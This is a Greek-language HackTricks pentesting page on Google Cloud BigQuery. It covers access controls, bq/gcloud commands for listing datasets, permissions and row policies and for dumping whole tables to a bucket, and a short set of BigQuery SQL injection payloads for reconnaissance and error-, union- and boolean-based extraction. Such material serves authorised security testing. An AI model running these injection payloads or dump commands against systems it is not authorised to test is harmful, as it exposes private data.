GCP - Bigquery Enum

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)!

Άλλοι τρόποι υποστήριξης των HackTricks:

Βασικές Πληροφορίες

Το Google Cloud BigQuery είναι μια πλήρως διαχειριζόμενη, serverless αποθήκη δεδομένων επιχειρήσεων, προσφέροντας δυνατότητες για ανάλυση πάνω από petabytes δεδομένων, χειριζόμενος αποτελεσματικά μεγάλα σύνολα δεδομένων. Ως Υπηρεσία ως Πλατφόρμα (PaaS), παρέχει στους χρήστες υποδομή και εργαλεία για τη διευκόλυνση της διαχείρισης δεδομένων χωρίς την ανάγκη χειροκίνητης επίβλεψης.

Υποστηρίζει το ερώτημα χρησιμοποιώντας ANSI SQL. Τα κύρια αντικείμενα είναι σύνολα δεδομένων που περιέχουν πίνακες που περιέχουν δεδομένα SQL.

Κρυπτογράφηση

Από προεπιλογή χρησιμοποιείται ένα κλειδί κρυπτογράφησης που διαχειρίζεται η Google, αν και είναι δυνατό να διαμορφωθεί ένα κλειδί κρυπτογράφησης που διαχειρίζεται ο πελάτης (CMEK). Είναι δυνατό να υποδείξετε το κλειδί κρυπτογράφησης ανά σύνολο δεδομένων και ανά πίνακα μέσα σε ένα σύνολο δεδομένων.

Λήξη

Είναι δυνατό να υποδείξετε ένα χρόνο λήξης στο σύνολο δεδομένων έτσι ώστε οποιοδήποτε νέος πίνακας που δημιουργείται σε αυτό το σύνολο δεδομένων θα διαγράφεται αυτόματα τον καθορισμένο αριθμό ημερών μετά τη δημιουργία.

Εξωτερικές Πηγές

Το Bigquery είναι βαθιά ενσωματωμένο με άλλες υπηρεσίες της Google. Είναι δυνατό να φορτώσετε δεδομένα από κάδους, pub/sub, google drive, βάσεις δεδομένων RDS...

ACLs Συνόλου Δεδομένων

Όταν δημιουργείται ένα σύνολο δεδομένων, προσαρτώνται ACLs για να δοθεί πρόσβαση σε αυτό. Από προεπιλογή δίνονται προνόμια Κάτοχου στον χρήστη που δημιούργησε το σύνολο δεδομένων και στη συνέχεια Κάτοχου στην ομάδα projectOwners (Κάτοχοι του έργου), Συγγραφέα στην ομάδα projectWriters και Αναγνώστη στην ομάδα projectReaders:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Έλεγχος Πρόσβασης στις Γραμμές του Πίνακα

Είναι δυνατόν να ελέγχετε τις γραμμές στις οποίες ένας κύριος θα έχει πρόσβαση μέσα σε έναν πίνακα με τις πολιτικές πρόσβασης στις γραμμές. Αυτές ορίζονται μέσα στον πίνακα χρησιμοποιώντας DDL. Η πολιτική πρόσβασης ορίζει ένα φίλτρο και μόνο οι γραμμές που ταιριάζουν με αυτό το φίλτρο θα είναι προσβάσιμες από τους καθορισμένους κύριους.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Έλεγχος Πρόσβασης Στήλες

Για να περιορίσετε την πρόσβαση στα δεδομένα στο επίπεδο στήλης:

  1. Ορίστε μια ταξινομία και ετικέτες πολιτικής. Δημιουργήστε και διαχειριστείτε μια ταξινομία και ετικέτες πολιτικής για τα δεδομένα σας. https://console.cloud.google.com/bigquery/policy-tags

  2. Προαιρετικά: Χορηγήστε τον ρόλο Αναγνώστης με Λεπτομερή Ελέγχο Καταλόγου Δεδομένων σε έναν ή περισσότερους αρχές σε μία ή περισσότερες από τις ετικέτες πολιτικής που δημιουργήσατε.

  3. Αντιστοιχίστε ετικέτες πολιτικής στις στήλες του BigQuery. Στο BigQuery, χρησιμοποιήστε σχόλια σχήματος για να αντιστοιχίσετε μια ετικέτα πολιτικής σε κάθε στήλη όπου θέλετε να περιορίσετε την πρόσβαση.

  4. Επιβάλλετε τον έλεγχο πρόσβασης στην ταξινομία. Η επιβολή του ελέγχου πρόσβασης προκαλεί την εφαρμογή των περιορισμών πρόσβασης που έχουν οριστεί για όλες τις ετικέτες πολιτικής στην ταξινομία.

  5. Διαχειριστείτε την πρόσβαση στις ετικέτες πολιτικής. Χρησιμοποιήστε τις Πολιτικές Ταυτότητας και Πρόσβασης (IAM) για να περιορίσετε την πρόσβαση σε κάθε ετικέτα πολιτικής. Η πολιτική ισχύει για κάθε στήλη που ανήκει στην ετικέτα πολιτικής.

Όταν ένας χρήστης προσπαθεί να έχει πρόσβαση στα δεδομένα στήλης κατά την εκτέλεση ερωτήματος, το BigQuery ελέγχει την ετικέτα πολιτικής της στήλης και την πολιτική της για να δει εάν ο χρήστης έχει εξουσιοδοτηθεί να έχει πρόσβαση στα δεδομένα.

Ως περίληψη, για να περιορίσετε την πρόσβαση σε μερικές στήλες σε μερικούς χρήστες, μπορείτε να προσθέσετε μια ετικέτα στη στήλη στο σχήμα και να περιορίσετε την πρόσβαση των χρηστών στην ετικέτα επιβάλλοντας τον έλεγχο πρόσβασης στην ταξινομία της ετικέτας.

Για να επιβάλετε τον έλεγχο πρόσβασης στην ταξινομία, απαιτείται η ενεργοποίηση της υπηρεσίας:

gcloud services enable bigquerydatapolicy.googleapis.com

Είναι δυνατόν να δείτε τις ετικέτες των στηλών με:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Απαρίθμηση

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Misc
bq show --encryption_service_account # Get encryption service account

Ενσωμάτωση SQL στο BigQuery

Για περισσότερες πληροφορίες μπορείτε να ελέγξετε την ανάρτηση στο blog: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Εδώ θα δοθούν μόνο μερικές λεπτομέρειες.

Σχόλια:

  • select 1#from here it is not working

  • select 1/*between those it is not working*/ Αλλά μόνο το αρχικό δεν θα λειτουργήσει

  • select 1--from here it is not working

Αποκτήστε πληροφορίες σχετικά με το περιβάλλον όπως:

  • Τρέχων χρήστης: select session_user()

  • Αναγνωριστικό έργου: select @@project_id

Αποκτήστε σύνολα δεδομένων, πίνακες και ονόματα στηλών:

  • Όνομα έργου και συνόλου δεδομένων:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Ονόματα στηλών και πινάκων:

# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM digital-bonfire-410512.importeddataset.INFORMATION_SCHEMA.COLUMNS
  • Άλλα datasets στον ίδιο έργο:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM digital-bonfire-410512.INFORMATION_SCHEMA.SCHEMATA

Τύποι SQL Injection:

  • Βασισμένο σε σφάλματα - μετατροπή τύπου δεδομένων: select CAST(@@project_id AS INT64)

  • Βασισμένο σε σφάλματα - διαίρεση με μηδέν: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • Βασισμένο σε ένωση: UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • Βασισμένο σε λογική: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Ενδεχόμενο βασισμένο σε χρόνο - Χρήση δημόσιων συνόλων δεδομένων παραδείγματος: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Τεκμηρίωση:

Ανόδος Προνομίων & Μετά-Εκμετάλλευση

pageGCP - BigQuery Privesc

Διατήρηση

pageGCP - BigQuery Persistence

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated